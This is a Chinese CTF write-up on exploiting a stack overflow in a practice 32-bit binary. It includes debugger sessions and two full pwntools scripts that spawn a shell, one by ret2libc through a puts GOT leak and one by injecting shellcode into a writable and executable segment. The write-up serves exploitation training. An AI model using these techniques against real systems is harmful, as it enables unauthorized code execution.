pwn Bin Writeup

源程序下载:http://file.eonew.cn/ctf/pwn/Bin

该题主要考验对于栈的构造能力。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec Bin
[*] '/home/ex/test/Bin'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

主要功能

由于功能简单,所以直接贴汇编代码:

.text:0804853B ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804853B                 public main
.text:0804853B main            proc near               ; DATA XREF: _start+17↑o
.text:0804853B
.text:0804853B buf             = byte ptr -64h
.text:0804853B argc            = dword ptr  8
.text:0804853B argv            = dword ptr  0Ch
.text:0804853B envp            = dword ptr  10h
.text:0804853B
.text:0804853B ; __unwind {
.text:0804853B                 push    ebp
.text:0804853C                 mov     ebp, esp
.text:0804853E                 and     esp, 0FFFFFFF0h
.text:08048541                 add     esp, 0FFFFFF80h
.text:08048544                 call    init
.text:08048549                 mov     dword ptr [esp], offset s ; "**************************************"
.text:08048550                 call    _puts
.text:08048555                 mov     dword ptr [esp], offset aWelcomeToExplo ; "welcome to exploit train"
.text:0804855C                 call    _puts
.text:08048561                 mov     dword ptr [esp], offset s ; "**************************************"
.text:08048568                 call    _puts
.text:0804856D                 mov     dword ptr [esp+8], 200h ; nbytes
.text:08048575                 lea     eax, [esp+80h+buf]
.text:08048579                 mov     [esp+4], eax    ; buf
.text:0804857D                 mov     dword ptr [esp], 0 ; fd
.text:08048584                 call    _read
.text:08048589                 mov     dword ptr [esp], offset aSeeYou ; "see you~~"
.text:08048590                 call    _puts
.text:08048595                 leave
.text:08048596                 retn
.text:08048596 ; } // starts at 804853B
.text:08048596 main            endp

程序有什么漏洞呢?

明显的栈溢出。

思路

  1. 泄露基地址
  2. 注入shell

第一种思路:泄露基地址

可以利用puts函数打印出got表的值。下面是计算偏移的步骤。

先在下面的0x08048589处下断点

.text:08048584                 call    _read
.text:08048589                 mov     dword ptr [esp], offset aSeeYou ; "see you~~"

得到我们输入的字符串的地址,这里我输入aaaa

aaaa

Breakpoint 1, 0x08048589 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0x5
 EBX  0x0
 ECX  0xffffcd0c ◂— 'aaaa\n'
 EDX  0x200
 EDI  0x0
 ESI  0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d7d6c */
 EBP  0xffffcd78 ◂— 0x0
 ESP  0xffffccf0 ◂— 0x0
 EIP  0x8048589 (main+78) ◂— mov    dword ptr [esp], 0x8048670
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
  0x8048589 <main+78>              mov    dword ptr [esp], 0x8048670
   0x8048590 <main+85>              call   puts@plt <0x80483c0>

   0x8048595 <main+90>              leave  
   0x8048596 <main+91>              ret    

   0x8048597                        nop    
   0x8048599                        nop    
   0x804859b                        nop    
   0x804859d                        nop    
   0x804859f                        nop    
   0x80485a0 <__libc_csu_init>      push   ebp
   0x80485a1 <__libc_csu_init+1>    push   edi
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffccf0 ◂— 0x0
01:0004│      0xffffccf4 —▸ 0xffffcd0c ◂— 'aaaa\n'
02:0008│      0xffffccf8 ◂— 0x200
03:000c│      0xffffccfc ◂— 0xc2
04:0010│      0xffffcd00 ◂— 0x0
05:0014│      0xffffcd04 ◂— 0xc30000
06:0018│      0xffffcd08 ◂— 0x0
07:001c│ ecx  0xffffcd0c ◂— 'aaaa\n'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0  8048589 main+78
   f 1 f7deee81 __libc_start_main+241
Breakpoint *0x08048589

得到字符串地址为0xffffcd0c

运行到ret处查看main返回地址

直接使用stepret指令即可。

pwndbg> stepret

Temporary breakpoint -23, 0x08048596 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0xa
 EBX  0x0
 ECX  0xf7faedc7 (_IO_2_1_stdout_+71) ◂— or     dl, byte ptr [eax - 0x80508] /* 0xfaf8900a */
 EDX  0xf7faf890 (_IO_stdfile_1_lock) ◂— 0
 EDI  0x0
 ESI  0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d7d6c */
 EBP  0x0
 ESP  0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add    esp, 0x10
 EIP  0x8048596 (main+91) ◂— ret    
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
   0x8048589  <main+78>                  mov    dword ptr [esp], 0x8048670
   0x8048590  <main+85>                  call   puts@plt <0x80483c0>

   0x8048595  <main+90>                  leave  
  0x8048596  <main+91>                  ret             <0xf7deee81; __libc_start_main+241>
    
   0xf7deee81 <__libc_start_main+241>    add    esp, 0x10
   0xf7deee84 <__libc_start_main+244>    sub    esp, 0xc
   0xf7deee87 <__libc_start_main+247>    push   eax
   0xf7deee88 <__libc_start_main+248>    call   exit <0xf7e063d0>

   0xf7deee8d <__libc_start_main+253>    mov    edi, dword ptr [esp + 8]
   0xf7deee91 <__libc_start_main+257>    mov    eax, dword ptr [edi + 0x38a4]
   0xf7deee97 <__libc_start_main+263>    ror    eax, 9
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp  0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add    esp, 0x10
01:0004│      0xffffcd80 ◂— 0x1
02:0008│      0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00d ◂— '/home/ex/test/Bin'
03:000c│      0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01f ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│      0xffffcd8c —▸ 0xffffcda4 ◂— 0x0
05:0014│      0xffffcd90 ◂— 0x1
06:0018│      0xffffcd94 ◂— 0x0
07:001c│      0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx /* 0x1d7d6c */
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
  f 0  8048596 main+91
   f 1 f7deee81 __libc_start_main+241
Breakpoint *0x8048596
pwndbg> 

看到返回地址0xffffcd7c,然后计算他们的偏移地址:0xffffcd7c-0xffffcd0c = 112

泄露基地址

sh.sendline('a' * 112 
        + p32(elf.symbols['puts']) + p32(elf.symbols['main']) # 再来一次
        + p32(elf.got['__libc_start_main']) 
)

sh.recvuntil('see you~~\n')

libc_addr = u32(sh.recv(4)) - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))

上面执行完puts之后,又会回到main函数,这样我们就不用担心栈被破坏的问题。但是之后的偏移需要重新计算,方法和上面一模一样。这里我计算的是104

getshell

sh.sendline('a'*104 
        + p32(libc_addr + libc.symbols['system']) 
        + p32(libc_addr + libc.symbols['exit'])
        + p32(libc_addr + libc.search('/bin/sh').next()) 
        + p32(0)
)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

elf = ELF('./Bin')

sh = process('./Bin')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.sendline('a' * 112 
        + p32(elf.symbols['puts']) + p32(elf.symbols['main']) # 再来一次
        + p32(elf.got['__libc_start_main']) 
)

sh.recvuntil('see you~~\n')

libc_addr = u32(sh.recv(4)) - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))

sh.sendline('a'*104 
        + p32(libc_addr + libc.symbols['system']) 
        + p32(libc_addr + libc.symbols['exit'])
        + p32(libc_addr + libc.search('/bin/sh').next()) 
        + p32(0)
)

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp.py 
[*] '/home/ex/test/Bin'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Starting local process './Bin': Done
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc_addr: 0xf7da5000
[*] Switching to interactive mode

**************************************
welcome to exploit train
**************************************
see you~~
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$ 

第二种思路:注入shell

注入shell的好处在于,在没有libc的情况下,也能getshell。

通过vmmap命令,我们发现0x804a000-0x804b000既有写权限,也有执行权限,所以我们将要执行的shell写在这里,为了预防覆盖的正常数据,尽量用靠后一点的内存,这里我用的是0x804af00

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/ex/test/Bin
 0x8049000  0x804a000 r-xp     1000 0      /home/ex/test/Bin
 0x804a000  0x804b000 rwxp     1000 1000   /home/ex/test/Bin
0xf7dd6000 0xf7fab000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fac000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fae000 r-xp     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7faf000 rwxp     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb2000 rwxp     3000 0      
0xf7fcf000 0xf7fd1000 rwxp     2000 0      
0xf7fd1000 0xf7fd4000 r--p     3000 0      [vvar]
0xf7fd4000 0xf7fd6000 r-xp     2000 0      [vdso]
0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

写入shell

sh.sendline('a'*112 
        + p32(elf.symbols['read']) + p32(elf.symbols['main']) # 再来一次
        + p32(0) + p32(0x804af00) + p32(100)
)

sh.recvuntil('see you~~\n')
sh.sendline(asm(shellcraft.sh()))

触发

sh.sendline('a'*104 
        + p32(0x804af00) 
)

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

elf = ELF('./Bin')

sh = process('./Bin')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.sendline('a'*112 
        + p32(elf.symbols['read']) + p32(elf.symbols['main']) # 再来一次
        + p32(0) + p32(0x804af00) + p32(100)
)

sh.recvuntil('see you~~\n')
sh.sendline(asm(shellcraft.sh()))

sh.sendline('a'*104 
        + p32(0x804af00) 
)

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@Ex:~/test$ ./exp2.py 
[*] '/home/ex/test/Bin'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Starting local process './Bin': Done
[*] Switching to interactive mode
**************************************
welcome to exploit train
**************************************
see you~~
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$  

总结

条条大路通罗马。